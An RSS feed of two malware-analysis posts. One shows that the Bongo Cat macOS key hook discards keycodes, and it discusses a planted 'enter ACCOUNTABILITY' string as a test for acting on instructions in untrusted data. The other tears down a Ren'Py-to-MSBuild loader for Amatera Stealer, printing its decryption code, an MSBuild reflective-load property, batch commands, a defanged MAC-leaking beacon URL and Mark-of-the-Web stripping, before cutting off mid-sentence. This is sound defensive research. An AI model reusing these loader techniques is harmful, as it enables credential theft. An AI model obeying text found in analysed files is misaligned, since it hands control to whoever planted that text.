<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
     xmlns:content="http://purl.org/rss/1.0/modules/content/"
     xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Xavi Fortes — Research</title>
    <link>https://xavifortes.com/research/</link>
    <description>Malware analysis and reverse engineering notes.</description>
    <language>en</language>
    <lastBuildDate>Thu, 20 Aug 2026 16:31:34 GMT</lastBuildDate>
    <atom:link href="https://xavifortes.com/research/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>A key hook that throws away every keystroke it captures</title>
      <link>https://xavifortes.com/research/bongo-cat-global-key-hook/</link>
      <guid isPermaLink="true">https://xavifortes.com/research/bongo-cat-global-key-hook/</guid>
      <pubDate>Wed, 12 Aug 2026 00:00:00 GMT</pubDate>
      <description>A desktop cat that taps along with your typing needs a system-wide keyboard hook to do it, which is indistinguishable from a keylogger until you read the code. Pulling apart Bongo Cat on macOS, and finding a note the developers left for whoever did.</description>
      <category>reverse-engineering</category>
      <category>macos</category>
      <category>unity</category>
      <category>false-positive</category>
      <category>dynamic-analysis</category>
      <content:encoded><![CDATA[<p>Bongo Cat sits on your desktop and slaps its paws in time with your typing. To do
that it has to see every key you press, in every application, all the time. That is
the same capability a keylogger needs, implemented against the same API, and asking
for the same permission.</p>
<p>So the interesting question isn’t whether it hooks your keyboard — it says it does,
it has to. The question is what happens to the keystrokes after it sees them. That
turns out to be answerable precisely, and the answer is: nothing. They’re counted
and dropped.</p>
<p>I want to write this one up because clean results rarely get published, and because
“legitimate app needs a scary permission” is a case where the reasoning matters more
than the verdict. Also because the developers left a note in the binary for whoever
came to read it, and I nearly walked into it.</p>
<h2 id="the-short-version">The short version</h2>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>CGEventTap (ListenOnly, HID tap)</span></span>
<span class="line"><span>  └── keycode int</span></span>
<span class="line"><span>      └── _queue.Enqueue(("key", keyCode))     ← value stored</span></span>
<span class="line"><span>          └── ProcessInput()                    ← value DISCARDED, returns a count</span></span>
<span class="line"><span>              └── _keysDown += count</span></span>
<span class="line"><span>                  └── Cat.Tap(int amount)       ← swaps the paw sprite</span></span></code></pre>
<p>The keycode survives about one frame and is never read by anything. The only thing
that reaches the game is <em>how many</em> keys were pressed.</p>
<h2 id="the-bundle">The bundle</h2>
<p><code>com.Irox-Games.BongoCat</code>, Unity <code>6000.2.8f1</code>, universal binary, macOS 12+. Four
native plugins:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>PlugIns/GlobalKeyHook.bundle          84 KB   ← this one</span></span>
<span class="line"><span>PlugIns/TransparentWindow.bundle      86 KB</span></span>
<span class="line"><span>PlugIns/lib_burst_generated.bundle    33 KB</span></span>
<span class="line"><span>PlugIns/libdiscord_partner_sdk.dylib  25 MB</span></span></code></pre>
<p>Worth noting for anyone triaging a Unity app for the first time: those <code>.bundle</code>
entries are flat Mach-O files, not directories. I spent a minute convinced the
extraction had dropped them because <code>find</code> returned nothing under them.</p>
<p>The build ships full PDBs — every managed assembly has a matching <code>.pdb</code> with
original type and method names intact. That’s not proof of anything on its own, but
it does mean the entire decompile is readable rather than a wall of <code>Class7.Method3</code>.</p>
<h2 id="what-the-hook-actually-is">What the hook actually is</h2>
<p>84 KB, and the import table is seventeen symbols:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>AXIsProcessTrustedWithOptions   kAXTrustedCheckOptionPrompt</span></span>
<span class="line"><span>CGEventTapCreate                CGEventTapEnable</span></span>
<span class="line"><span>CGEventGetIntegerValueField</span></span>
<span class="line"><span>CFMachPortCreateRunLoopSource   CFRunLoopAddSource</span></span>
<span class="line"><span>CFRunLoopGetMain                CFRunLoopRemoveSource</span></span>
<span class="line"><span>CFRelease                       kCFAllocatorDefault</span></span>
<span class="line"><span>kCFRunLoopCommonModes           __kCFBooleanTrue</span></span>
<span class="line"><span>NSDictionary                    objc_msgSend</span></span>
<span class="line"><span>__stack_chk_fail                __stack_chk_guard</span></span></code></pre>
<p>That list is the finding. There is no file I/O, no networking, no socket, no string
construction, no timer, no crypto. Whatever this library does, it cannot persist or
transmit anything, because it has not linked the ability to.</p>
<p>Three exported functions, ~700 bytes of code, so you can just read all of it. The tap
is created like this:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>CGEventTapCreate(kCGHIDEventTap,          // tap=0</span></span>
<span class="line"><span>                 kCGHeadInsertEventTap,   // place=0</span></span>
<span class="line"><span>                 kCGEventTapOptionListenOnly,  // options=1</span></span>
<span class="line"><span>                 0x0200040a,              // mask</span></span>
<span class="line"><span>                 eventTapCallback, NULL)</span></span></code></pre>
<p>Two things there matter. <code>kCGEventTapOptionListenOnly</code> makes it a passive observer —
it physically cannot modify, swallow or inject events, which rules out the whole
class of tricks that involve eating a keystroke or substituting one. And the mask
decodes to exactly four event types:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>bit  1  → kCGEventLeftMouseDown</span></span>
<span class="line"><span>bit  3  → kCGEventRightMouseDown</span></span>
<span class="line"><span>bit 10  → kCGEventKeyDown</span></span>
<span class="line"><span>bit 25  → kCGEventOtherMouseDown</span></span></code></pre>
<p>No <code>kCGEventKeyUp</code>. No <code>kCGEventFlagsChanged</code>. That second omission is the one I’d
point at if I had to pick a single detail: without <code>FlagsChanged</code> the hook never sees
modifier state, so it cannot distinguish <code>a</code> from <code>A</code>, and it has no idea whether
Command is held. A keylogger that can’t tell you shift-state is not a keylogger
anyone would ship.</p>
<p>The callback reads field <code>8</code> (<code>kCGKeyboardEventAutorepeat</code>) purely to ignore held
keys, then field <code>9</code> (<code>kCGKeyboardEventKeycode</code>), and passes the integer to a
function pointer supplied by the caller. Then it returns the event untouched.</p>
<h2 id="the-keycode-never-gets-used">The keycode never gets used</h2>
<p>The managed side receives it, and this is where it ends:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="csharp"><code><span class="line"><span style="color:#E1E4E8">[</span><span style="color:#B392F0">MonoPInvokeCallback</span><span style="color:#E1E4E8">(</span><span style="color:#F97583">typeof</span><span style="color:#E1E4E8">(</span><span style="color:#B392F0">KeyCallbackDelegate</span><span style="color:#E1E4E8">))]</span></span>
<span class="line"><span style="color:#F97583">private</span><span style="color:#F97583"> static</span><span style="color:#F97583"> void</span><span style="color:#B392F0"> OnKeyEvent</span><span style="color:#E1E4E8">(</span><span style="color:#F97583">int</span><span style="color:#B392F0"> keyCode</span><span style="color:#E1E4E8">)</span></span>
<span class="line"><span style="color:#E1E4E8">{</span></span>
<span class="line"><span style="color:#E1E4E8">    _queue.</span><span style="color:#B392F0">Enqueue</span><span style="color:#E1E4E8">((</span><span style="color:#9ECBFF">"key"</span><span style="color:#E1E4E8">, keyCode));</span></span>
<span class="line"><span style="color:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="color:#F97583">public</span><span style="color:#F97583"> int</span><span style="color:#B392F0"> ProcessInput</span><span style="color:#E1E4E8">(</span><span style="color:#F97583">bool</span><span style="color:#B392F0"> ignoreMouse</span><span style="color:#E1E4E8">)</span></span>
<span class="line"><span style="color:#E1E4E8">{</span></span>
<span class="line"><span style="color:#F97583">    int</span><span style="color:#B392F0"> num</span><span style="color:#F97583"> =</span><span style="color:#79B8FF"> 0</span><span style="color:#E1E4E8">;</span></span>
<span class="line"><span style="color:#E1E4E8">    (</span><span style="color:#F97583">string</span><span style="color:#E1E4E8">, </span><span style="color:#F97583">int</span><span style="color:#E1E4E8">) </span><span style="color:#B392F0">result</span><span style="color:#E1E4E8">;</span></span>
<span class="line"><span style="color:#F97583">    while</span><span style="color:#E1E4E8"> (_queue.</span><span style="color:#B392F0">TryDequeue</span><span style="color:#E1E4E8">(</span><span style="color:#F97583">out</span><span style="color:#E1E4E8"> result))</span></span>
<span class="line"><span style="color:#E1E4E8">    {</span></span>
<span class="line"><span style="color:#F97583">        if</span><span style="color:#E1E4E8"> (</span><span style="color:#F97583">!</span><span style="color:#E1E4E8">ignoreMouse </span><span style="color:#F97583">||</span><span style="color:#F97583"> !</span><span style="color:#E1E4E8">(result.Item1 </span><span style="color:#F97583">==</span><span style="color:#9ECBFF"> "mouse"</span><span style="color:#E1E4E8">))</span></span>
<span class="line"><span style="color:#E1E4E8">        {</span></span>
<span class="line"><span style="color:#E1E4E8">            num</span><span style="color:#F97583">++</span><span style="color:#E1E4E8">;</span></span>
<span class="line"><span style="color:#E1E4E8">        }</span></span>
<span class="line"><span style="color:#E1E4E8">    }</span></span>
<span class="line"><span style="color:#F97583">    return</span><span style="color:#E1E4E8"> num;</span></span>
<span class="line"><span style="color:#E1E4E8">}</span></span></code></pre>
<p><code>result.Item2</code> is never read. The tuple is dequeued, the string tag is checked so the
“ignore mouse clicks” setting works, the counter increments, and the keycode goes out
of scope. What propagates upward is <code>int num</code>.</p>
<p>From there it’s <code>_keysDown += _platformHook.ProcessInput(...)</code>, then
<code>OnKeyPressed?.Invoke(_keysDown)</code>, then <code>Cat.Tap(int amount)</code>, which swaps between a
left-paw and a right-paw sprite. Four call sites reference <code>OnKeyPressed</code> in the
entire assembly and all four pass a count.</p>
<p>This is stronger evidence than any amount of “I didn’t see it send anything”. A
keylogger’s entire purpose is the key identity. This code destroys it on the frame it
arrives, in the only function that touches the queue.</p>
<h2 id="the-note-in-the-binary">The note in the binary</h2>
<p>In <code>BongoCat.OSSpecific.GlobalKeyHook.Start()</code>, the coroutine that waits for the user
to grant Accessibility permission is called:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="csharp"><code><span class="line"><span style="color:#F97583">yield</span><span style="color:#F97583"> return</span><span style="color:#E1E4E8"> Thank_you_for_keeping_us_accountable_Enter_ACCOUNTABILITY_into_the_</span></span>
<span class="line"><span style="color:#B392F0">lobby_id_field_in_the_multiplayer_tab_and_click_join_for_a_free_item</span><span style="color:#E1E4E8">();</span></span></code></pre>
<p>The method body is unremarkable — it polls <code>AXIsProcessTrusted()</code> on a one-second
loop and restarts the hook once permission lands. The name is the whole payload, and
it is only visible if you decompile the assembly.</p>
<p>I didn’t type it in. Not because I think Irox Games is running a trap — this reads
like a friendly easter egg for reverse engineers, and “thank you for keeping us
accountable” is a nice thing to find in a binary. But the shape of it is <em>“text
discovered inside the artifact under analysis instructs the analyst to enter an
attacker-chosen string into an input field”</em>, and that shape deserves the same
reflex regardless of how friendly the wording is. If I’d found it in something I
didn’t already trust, following it would have been the mistake.</p>
<p>It’s a good canary. Anyone — or anything — that reports back “I entered ACCOUNTABILITY
and got a free item” has just demonstrated that it acts on instructions found in
untrusted data.</p>
<h2 id="the-signature-proves-nothing">The signature proves nothing</h2>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>Format=app bundle with Mach-O universal (x86_64 arm64)</span></span>
<span class="line"><span>CodeDirectory v=20400 flags=0x2(adhoc)</span></span>
<span class="line"><span>Signature=adhoc</span></span>
<span class="line"><span>TeamIdentifier=not set</span></span></code></pre>
<p>Ad-hoc signed, no Developer ID, no notarisation, no entitlements. <code>spctl -a</code> rejects
it. This is completely normal for a Steam-distributed Mac game and it is not by itself
suspicious — but it does mean <code>codesign --verify</code> passing tells you only that the
bundle is internally consistent. There’s no cryptographic link to the publisher.
Anyone could modify the app, re-sign it ad-hoc, and it would verify exactly as
cleanly.</p>
<p>So a clean read of the code proves the <em>code I read</em> is clean, and nothing about
whether it’s the code Valve shipped. The fix is boring: hash it against a copy you
know came from Steam.</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>Steam-installed tree : ec7b9dd783b160fa5c5624ad262cb1b63b5a2bac36e3f63c2917d7ad57b7c1dc</span></span>
<span class="line"><span>Downloaded copy      : ec7b9dd783b160fa5c5624ad262cb1b63b5a2bac36e3f63c2917d7ad57b7c1dc</span></span></code></pre>
<p>Identical, zero per-file differences, against appid <code>3419430</code> buildid <code>24673527</code>.
For reference, <code>GlobalKeyHook.bundle</code> in that build is
<code>60cdd89a7bd416de3c39b80390285dc863c6ead02846cc96cb2a9bd38fbcbbe7</code>. Those are
comparison values for anyone checking their own install, not detection signatures —
a hash of a clean file has no business in a blocklist.</p>
<h2 id="watching-it-run">Watching it run</h2>
<p>Static analysis said the hook can’t exfiltrate. Running it confirms nothing new in
principle, but it does catch the thing static analysis is worst at: behaviour that
only exists at runtime.</p>
<p>With the hook armed — the log line is <code>GlobalKeyHook | Started successfully.</code>, meaning
<code>AXIsProcessTrustedWithOptions</code> returned true and the tap is live — over two runs:</p>
<ul>
<li><strong>No LaunchAgent written.</strong> The app has a launch-at-login feature that writes
<code>~/Library/LaunchAgents/com.Irox-Games.BongoCat.plist</code> with <code>RunAtLoad</code>, but only
when you enable it. Log confirms <code>AutoStart enabled: False</code> and the directory stayed
empty.</li>
<li><strong>No self-modification.</strong> Bundle hashed byte-identical before and after execution.</li>
<li><strong>No child processes.</strong> The only <code>Process.Start</code> in the assembly is
<code>open -R &lt;its own Player.log&gt;</code> behind a “show log folder” button.</li>
<li><strong>Loopback traffic to <code>steam_osx</code></strong>, which is the Steamworks API talking to the
Steam client over its local IPC socket.</li>
<li><strong>One external TLS connection</strong>, plus around 28 unconnected UDP sockets.</li>
</ul>
<p>That last line is the only thing in the whole exercise that needed real work to
explain.</p>
<h2 id="the-parts-i-got-wrong">The parts I got wrong</h2>
<p>Two, and both are worth more than the clean result.</p>
<p><strong>I monitored a corpse.</strong> My first harness resolved the PID once, right after launch,
then polled it for ninety seconds. But the app calls
<code>SteamAPI.RestartAppIfNecessary(3419430)</code>, logs <code>Shutting down because RestartAppIfNecessary returned true</code>, and exits — Steam then relaunches a <em>different
process</em> from <code>steamapps/common/</code>. So I spent 90 seconds running <code>lsof</code> against a dead
PID and concluded, triumphantly, that Bongo Cat opens zero network sockets. It opens
several. Re-resolve the PID every poll if the thing you’re watching can hand off.</p>
<p><strong>My URL sweep had a hole in it.</strong> I’d grepped every binary and asset for network
indicators using <code>https?://</code>, got a tidy list of Steam and Discord and Crowdin links,
and moved on. When the live capture showed a connection to a Cloudflare address that
matched nothing in that list, my first instinct was that the inventory was complete
and the connection was therefore anomalous.</p>
<p>The inventory wasn’t complete. The regex required a scheme, so a bare hostname
compiled into a dylib was invisible to it. Re-running the sweep for schemeless
hostnames across every file in the bundle turned up exactly one domain I’d missed, and
it was the one I was looking for:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>gaming-sdk.com              → 172.64.146.157, 104.18.41.99</span></span>
<span class="line"><span>latency.media.gaming-sdk.com</span></span></code></pre>
<p>Both strings live inside <code>libdiscord_partner_sdk.dylib</code>, sitting next to <code>discord.com</code>
and <code>cdn.discordapp.com</code>. <code>172.64.146.157</code> is an exact match for the address from the
earlier run. It’s Discord’s Partner SDK doing voice-region latency probing, which also
accounts for the pile of unconnected UDP sockets — that’s WebRTC ICE candidate
gathering, not a covert channel.</p>
<p>I’d guessed “it’s the Discord SDK” and then argued myself out of it because the IP
didn’t match <code>discord.com</code>. The guess was right; the reasoning that rejected it was
built on an inventory I’d assumed was exhaustive and hadn’t checked.</p>
<p>Two things follow from that. If you’re auditing a binary for network indicators,
<code>https?://</code> is not sufficient — hostnames get compiled in bare, and SDK vendors don’t
always use the domain their brand suggests. And the fact that <code>gaming-sdk.com</code> is an
unbranded, privacy-redacted, Cloudflare-registered domain created in November 2024 is
a reasonable thing to raise with Discord, and no reflection at all on the game that
bundles their SDK.</p>
<p>Notably, <code>Assembly-CSharp.dll</code> contains no network hostnames whatsoever. Every byte of
network capability in this application comes from the Steam and Discord SDKs. The
game’s own code never names a host.</p>
<h2 id="what-i-didnt-establish">What I didn’t establish</h2>
<ul>
<li>I ran this on a live machine with unprivileged monitoring, not in a VM with a
syscall trace. I have before-and-after filesystem diffs, not a record of every
transient write.</li>
<li>Two runs, ninety and a hundred and twenty seconds. Trigger-gated or long-delayed
behaviour wouldn’t appear, and no amount of watching proves absence.</li>
<li>I read the key hook and the input path exhaustively. I did not read all 20,000
lines of decompiled game logic; I searched it for the things that would matter
(<code>UnityWebRequest</code>, <code>Process.Start</code>, <code>File.Write*</code>, <code>Assembly.Load</code>,
<code>Activator.CreateInstance</code>, <code>FromBase64String</code>, <code>CryptoStream</code>) and followed every
hit to its call site.</li>
</ul>
<h2 id="verdict">Verdict</h2>
<p>Nothing malicious. Every capability maps to a feature the app openly advertises, every
network flow is accounted for, and the component that looks most like a keylogger is
built in the least capable way that still animates a cat — passive tap, no modifiers,
no key-up, and the keycode discarded in the only function that touches it.</p>
<p>The permission prompt is real and worth understanding before you click allow: granting
Accessibility to any app means it can observe your input system-wide, and that trust
is not revocable per-keystroke. But “this app needs a dangerous permission” and “this
app abuses that permission” are separate claims, and the second one has to be
demonstrated rather than assumed. Here it isn’t true.</p>
<p>The best thing I got out of it was a reminder that a tidy inventory is the easiest
thing in the world to trust, and that “the data contradicts my list” should send you
back to check how the list was built before you go looking for an anomaly.</p>
]]></content:encoded>
    </item>
    <item>
      <title>A payload that only decrypts with the file carrying it</title>
      <link>https://xavifortes.com/research/amatera-renpy-msbuild-loader/</link>
      <guid isPermaLink="true">https://xavifortes.com/research/amatera-renpy-msbuild-loader/</guid>
      <pubDate>Fri, 07 Aug 2026 00:00:00 GMT</pubDate>
      <description>Pulling apart a fake game that turned out to be a four-stage loader for Amatera Stealer, and the carrier-keyed encoding that made the final payload impossible to extract without the exact bytes of its own MSBuild project.</description>
      <category>malware-analysis</category>
      <category>dotnet</category>
      <category>msbuild</category>
      <category>loader</category>
      <category>amatera</category>
      <category>renpy</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>Has this happened to you?</strong> This page is a technical teardown written for
analysts. If you’re here because your own accounts were stolen and you need to
know what to do right now, read
<a href="/help/hacked-account-recovery/">the recovery guide</a> instead — it’s written in
plain English and ordered by what matters first.</p>
</blockquote>
<p>A friend installed what he thought was an unreleased AAA game. It never drew a frame.
What it did instead was run a four-stage loader chain ending in Amatera Stealer, and
take his Microsoft account on the way through.</p>
<p>The chain itself is documented — Malwarebytes covered this campaign in July. What I
want to write about is the fourth stage, because the way it stores its payload is the
most elegant anti-analysis trick I’ve run into, and because I got it wrong the first
time in a way that’s worth showing.</p>
<h2 id="the-short-version">The short version</h2>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>Setup.exe (clean Ren'Py launcher)</span></span>
<span class="line"><span>  └── game/script.rpyc          init block, runs before the first frame</span></span>
<span class="line"><span>      └── 7Mmpw6GIH3zL.lc       XOR'd, password-protected ZIP, decrypted in memory</span></span>
<span class="line"><span>          └── tIM9CNSIu.cmd     MSBuild with property functions enabled</span></span>
<span class="line"><span>              └── .csproj       reflectively loads a 5.6 MB .NET assembly from build properties</span></span>
<span class="line"><span>                  └── stage 4   decoded from the .csproj itself, run in memory</span></span>
<span class="line"><span>                      └── Amatera Stealer, pulled over the network</span></span></code></pre>
<p>Nothing malicious is ever written to disk as a <code>.dll</code> or an <code>.exe</code>. The only signed
binary in the process tree is Microsoft’s own <code>MSBuild.exe</code>.</p>
<h2 id="stage-1-the-game">Stage 1: the game</h2>
<p>The package is a stock Ren’Py 8.1.3 game. <code>Setup.exe</code> is the unmodified Ren’Py launcher
shim, renamed — worth saying clearly, because it is a clean file and signaturing it would
flag every legitimate visual novel on Windows.</p>
<p>The malicious part is in <code>script.rpyc</code>, in an <code>init 1</code> block, which Ren’Py runs before
anything renders. The <code>splashscreen</code> label immediately calls <code>renpy.quit()</code>, so from the
user’s side the game just fails to launch and they move on.</p>
<p>It reads a hidden manifest from the game directory — base64, then XOR with an ASCII key:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="python"><code><span class="line"><span style="color:#E1E4E8">secret </span><span style="color:#F97583">=</span><span style="color:#9ECBFF"> '81034149cd6f48c8821340204f92766e'</span><span style="color:#E1E4E8">.encode()</span></span>
<span class="line"><span style="color:#E1E4E8">decrypted </span><span style="color:#F97583">=</span><span style="color:#79B8FF"> bytes</span><span style="color:#E1E4E8">(b </span><span style="color:#F97583">^</span><span style="color:#E1E4E8"> secret[i </span><span style="color:#F97583">%</span><span style="color:#79B8FF"> len</span><span style="color:#E1E4E8">(secret)] </span><span style="color:#F97583">for</span><span style="color:#E1E4E8"> i, b </span><span style="color:#F97583">in</span><span style="color:#79B8FF"> enumerate</span><span style="color:#E1E4E8">(decoded))</span></span></code></pre>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="json"><code><span class="line"><span style="color:#E1E4E8">{</span></span>
<span class="line"><span style="color:#79B8FF">  "file_nm"</span><span style="color:#E1E4E8">: </span><span style="color:#9ECBFF">"7Mmpw6GIH3zL.lc"</span><span style="color:#E1E4E8">,</span></span>
<span class="line"><span style="color:#79B8FF">  "pasw"</span><span style="color:#E1E4E8">: </span><span style="color:#9ECBFF">"YUIildEgd5B"</span><span style="color:#E1E4E8">,</span></span>
<span class="line"><span style="color:#79B8FF">  "exc_fl"</span><span style="color:#E1E4E8">: </span><span style="color:#9ECBFF">"tIM9CNSIu.cmd"</span><span style="color:#E1E4E8">,</span></span>
<span class="line"><span style="color:#79B8FF">  "snd_bx"</span><span style="color:#E1E4E8">: </span><span style="color:#79B8FF">false</span><span style="color:#E1E4E8">,</span></span>
<span class="line"><span style="color:#79B8FF">  "pb_s"</span><span style="color:#E1E4E8">: </span><span style="color:#9ECBFF">"A_TG3_eb9_p7_52"</span><span style="color:#E1E4E8">,</span></span>
<span class="line"><span style="color:#79B8FF">  "hash"</span><span style="color:#E1E4E8">: </span><span style="color:#9ECBFF">"817d99b3678c2341c6ca42729fa92586e3d113d98066db332ea312bedb5813f8..."</span></span>
<span class="line"><span style="color:#E1E4E8">}</span></span></code></pre>
<p>A few details worth noting in the dropper:</p>
<ul>
<li>Every extracted <code>.dll</code>, <code>.bat</code> and <code>.cmd</code> is written with a <strong>random 2–3 character
extension</strong> and only renamed back moments before execution.</li>
<li>A random <code>REM &lt;uuid&gt;</code> line is spliced into the scripts, so <strong>every victim gets different
file hashes</strong>. Hash-based detection was never going to work here by design.</li>
<li>It writes <code>:Zone.Identifier</code> alternate data streams with <code>ZoneId=0</code> to strip the
Mark-of-the-Web and suppress SmartScreen.</li>
<li>Execution goes through <code>forfiles.exe /p &lt;dir&gt; /m &lt;file&gt; /c "cmd /c call @path"</code>, so the
parent process in telemetry is <code>forfiles.exe</code>, not the game.</li>
</ul>
<p>There’s also a bundled <code>sys_config</code> Python package that presents as an anti-VM engine.
It’s rigged. The internet checks return a perfect score with the string “Internet checks
disabled”, and <code>_check_specs()</code> computes disk, RAM and CPU-core results and then discards
them — only the model and manufacturer strings are actually weighed.</p>
<p>And a beacon, XOR-obfuscated with the key <code>cLkY_x9</code>:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>hxxps://&lt;victim-MAC-as-12-hex&gt;[.]pingtrack[.]click/?id=&lt;campaign&gt;&amp;data[hash]=&lt;id&gt;</span></span></code></pre>
<p>The MAC address goes in the <strong>subdomain</strong>, so the identifier reaches the operator through
DNS resolution even if the HTTP request itself is blocked. My friend’s Ren’Py log recorded
a 503 back from it, which makes this the one indicator in the whole set that I can say was
observed live rather than inferred from a binary.</p>
<h2 id="stage-2-msbuild-as-the-execution-engine">Stage 2: MSBuild as the execution engine</h2>
<p>The container yields four files. The <code>.cmd</code> relaunches itself under
<code>conhost.exe --headless</code> so no window ever appears, then:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="bat"><code><span class="line"><span style="color:#F97583">set</span><span style="color:#E1E4E8"> MSBUILDENABLEALLPROPERTYFUNCTIONS</span><span style="color:#F97583">=</span><span style="color:#79B8FF">1</span></span>
<span class="line"><span style="color:#F97583">set</span><span style="color:#9ECBFF"> "</span><span style="color:#E1E4E8">_xpey</span><span style="color:#F97583">=</span><span style="color:#79B8FF">%~dp0</span><span style="color:#9ECBFF">DocumentFormatOpenXml.csproj"</span></span>
<span class="line"><span style="color:#9ECBFF">"</span><span style="color:#E1E4E8">%WINDIR%</span><span style="color:#9ECBFF">\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"</span><span style="color:#9ECBFF"> "…\DocumentFormatOpenXml.csproj"</span><span style="color:#E1E4E8"> /nologo /v:q</span></span></code></pre>
<p>The project files are padded with realistic build metadata. The live part is one property:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="xml"><code><span class="line"><span style="color:#E1E4E8">&lt;</span><span style="color:#85E89D">RepositoryCommit</span><span style="color:#E1E4E8">&gt;$(Product)$(AnalyzerConfigCache)$(GeneratedCodeCache)&lt;/</span><span style="color:#85E89D">RepositoryCommit</span><span style="color:#E1E4E8">&gt;</span></span>
<span class="line"><span style="color:#E1E4E8">&lt;</span><span style="color:#85E89D">PackageOutputMetadata</span><span style="color:#E1E4E8">&gt;DocumentFormat.OpenXml.Drawing.BaseDescriptor7&lt;/</span><span style="color:#85E89D">PackageOutputMetadata</span><span style="color:#E1E4E8">&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#E1E4E8">&lt;</span><span style="color:#85E89D">NuGetAuditSuppress</span><span style="color:#E1E4E8">&gt;$([System.AppDomain]::CurrentDomain.Load(</span></span>
<span class="line"><span style="color:#E1E4E8">    $([System.Runtime.Remoting.Metadata.W3cXsd2001.SoapHexBinary]::Parse($(RepositoryCommit)).Value)</span></span>
<span class="line"><span style="color:#E1E4E8">  ).CreateInstance($(PackageOutputMetadata)))&lt;/</span><span style="color:#85E89D">NuGetAuditSuppress</span><span style="color:#E1E4E8">&gt;</span></span></code></pre>
<p>A 5.6 MB hex string, split across three separate project files, concatenated by property
substitution and loaded straight into the MSBuild process. <code>CreateInstance</code> triggers the
type’s static constructor. Classic <code>T1127.001</code>.</p>
<h2 id="stage-3-a-real-library-with-one-extra-class">Stage 3: a real library with one extra class</h2>
<p>The stitched assembly is a genuine build of <strong>DocumentFormat.OpenXml</strong> with a single class
grafted in: <code>DocumentFormat.OpenXml.Drawing.BaseDescriptor7</code>. Its <code>.cctor</code> is marked
<code>[SecurityCritical]</code> and <code>[HandleProcessCorruptedStateExceptions]</code>, and runs on type load.</p>
<p>Strings are decoded through a bytecode VM driven by an embedded resource, identifiers are
single-use noise (<code>_fky</code>, <code>_ru</code>, <code>_msvu</code>, <code>_jaqw</code>). It installs an <code>UnhandledException</code>
handler that calls <code>Environment.Exit(0)</code> so the process dies quietly instead of producing a
crash dump. It blanks the process command line in the PEB via <code>Marshal.WriteInt16</code>, so
tooling reading arguments sees nothing.</p>
<p>Then it reads the project path back out of the <code>_xpey</code> environment variable, and does
something that took me a while to appreciate: <strong>it deletes the <code>.csproj</code>, clears <code>_xpey</code>,
and wipes every other environment variable matching <code>_[a-z]{1,7}</code>.</strong></p>
<p>At the time I read that as ordinary cleanup. It isn’t.</p>
<h2 id="stage-4-the-payload-is-keyed-to-its-own-carrier">Stage 4: the payload is keyed to its own carrier</h2>
<p>Between two <code>[Emit-58868daf-402c-ced0-3671-72d07b02f459]</code> markers, the <code>.csproj</code> holds
3,054,080 comma-separated integers. The first few:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>2749, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, …</span></span></code></pre>
<p>That is <em>almost</em> a DOS header. <code>90, 144, 0, 3, …</code> is exactly <code>5A 90 00 03 …</code>. But the
first value is 2749, not 77, and about one value in six is above 255.</p>
<p>Here’s what the loader actually does:</p>
<pre class="astro-code github-dark" style="background-color:#24292e;color:#e1e4e8; overflow-x: auto;" tabindex="0" data-language="python"><code><span class="line"><span style="color:#E1E4E8">table   </span><span style="color:#F97583">=</span><span style="color:#79B8FF"> bytes</span><span style="color:#E1E4E8">(</span><span style="color:#79B8FF">range</span><span style="color:#E1E4E8">(</span><span style="color:#79B8FF">256</span><span style="color:#E1E4E8">)) </span><span style="color:#F97583">+</span><span style="color:#79B8FF"> open</span><span style="color:#E1E4E8">(</span><span style="color:#9ECBFF">'DocumentFormatOpenXml.csproj'</span><span style="color:#E1E4E8">, </span><span style="color:#9ECBFF">'rb'</span><span style="color:#E1E4E8">).read()</span></span>
<span class="line"><span style="color:#E1E4E8">payload </span><span style="color:#F97583">=</span><span style="color:#79B8FF"> bytes</span><span style="color:#E1E4E8">(table[v] </span><span style="color:#F97583">for</span><span style="color:#E1E4E8"> v </span><span style="color:#F97583">in</span><span style="color:#E1E4E8"> values)</span></span></code></pre>
<p>Values 0–255 index the identity prefix and decode to themselves. The 500,131 values above
